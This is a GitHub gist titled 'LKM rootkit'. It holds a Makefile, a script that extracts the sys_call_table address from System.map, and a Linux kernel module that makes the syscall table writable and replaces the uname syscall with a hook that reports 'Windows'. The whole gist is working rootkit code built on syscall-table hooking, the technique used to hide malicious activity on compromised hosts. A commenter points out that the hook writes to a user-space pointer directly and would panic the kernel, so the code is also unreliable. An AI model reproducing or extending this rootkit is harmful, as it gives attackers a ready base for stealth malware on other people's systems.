Skip to content

Instantly share code, notes, and snippets.

@knqyf263
Last active August 23, 2017 05:10
Show Gist options
  • Save knqyf263/2b3efd2e96e4b8d75276bbf66381f583 to your computer and use it in GitHub Desktop.
Save knqyf263/2b3efd2e96e4b8d75276bbf66381f583 to your computer and use it in GitHub Desktop.
LKM rootkit
KERNDIR := /lib/modules/`uname -r`/build
BUILD_DIR := $(shell pwd)
VERBOSE = 0
obj-m := syscall_replace.o
smallmod-objs := syscall_replace.o
all:
bash set_syscall_table_address.sh
make -C $(KERNDIR) SUBDIRS=$(BUILD_DIR) KBUILD_VERBOSE=$(VERBOSE) modules
clean:
rm -f *.o
rm -f *.ko
rm -f *.mod.c
rm -f *~
#!/bin/bash
system_map="System.map-`uname -r`"
address=`grep "R sys_call_table" /boot/${system_map} | cut -f1 -d' '`
if [ $? -ne 0 ]; then
echo "Cannot fount ${system_map} on your /boot"
exit -1
fi
sed -i "s/__SYSCALL_TABLE_ADDRESS__/0x${address}/" syscall_replace.c
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <asm/uaccess.h>
#include <asm/cacheflush.h>
#include <linux/syscalls.h>
#include <linux/mm.h>
#include <linux/utsname.h>
#include <asm/pgtable.h>
MODULE_DESCRIPTION("system call replace test module");
MODULE_AUTHOR("knqyf263");
MODULE_LICENSE("GPL");
/* following string SYSCALL_TABLE_ADDRESS will be replaced by set_syscall_table_address.sh */
static void **syscall_table = (void *) __SYSCALL_TABLE_ADDRESS__;
typedef void (*sys_call_ptr_t)(void);
typedef asmlinkage long (*orig_uname_t)(struct new_utsname *);
// fptr to original uname syscall
orig_uname_t orig_uname = NULL;
// test message
//char *msg = "All ur base r belong to us";
char str[] = "Windows";
asmlinkage long hooked_uname(struct new_utsname *name) {
orig_uname(name);
strncpy(name->sysname, str, sizeof(str));
return 0;
}
static void save_original_syscall_address(void){
orig_uname = (orig_uname_t) syscall_table[__NR_uname];
}
static void change_page_attr_to_rw(pte_t *pte){
set_pte_atomic(pte, pte_mkwrite(*pte));
}
static void change_page_attr_to_ro(pte_t *pte){
set_pte_atomic(pte, pte_clear_flags(*pte, _PAGE_RW));
}
static void replace_system_call(void *new){
unsigned int level = 0;
pte_t *pte;
pte = lookup_address((unsigned long) syscall_table, &level);
/* Need to set r/w to a page which syscall_table is in. */
change_page_attr_to_rw(pte);
syscall_table[__NR_uname] = new;
/* set back to read only */
change_page_attr_to_ro(pte);
}
static int syscall_replace_init(void){
pr_info("sys_call_table address is 0x%p\n", syscall_table);
save_original_syscall_address();
pr_info("original sys_uname's address is %p\n", orig_uname);
replace_system_call(hooked_uname);
pr_info("system call replaced\n");
return 0;
}
static void syscall_replace_cleanup(void){
pr_info("cleanup");
if (orig_uname)
replace_system_call(orig_uname);
}
module_init(syscall_replace_init);
module_exit(syscall_replace_cleanup);
@wangtao13
Copy link

It is wrong to call strncpy(uname->sysname, str, sizeof(str));
Because, the uname is a user space pointer, which could NOT be accessed by kernel directly.
So kernel will panic when it is called.
To fix it, it shall call copy_to_user(uname->sysname, str, sizeof(str)).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment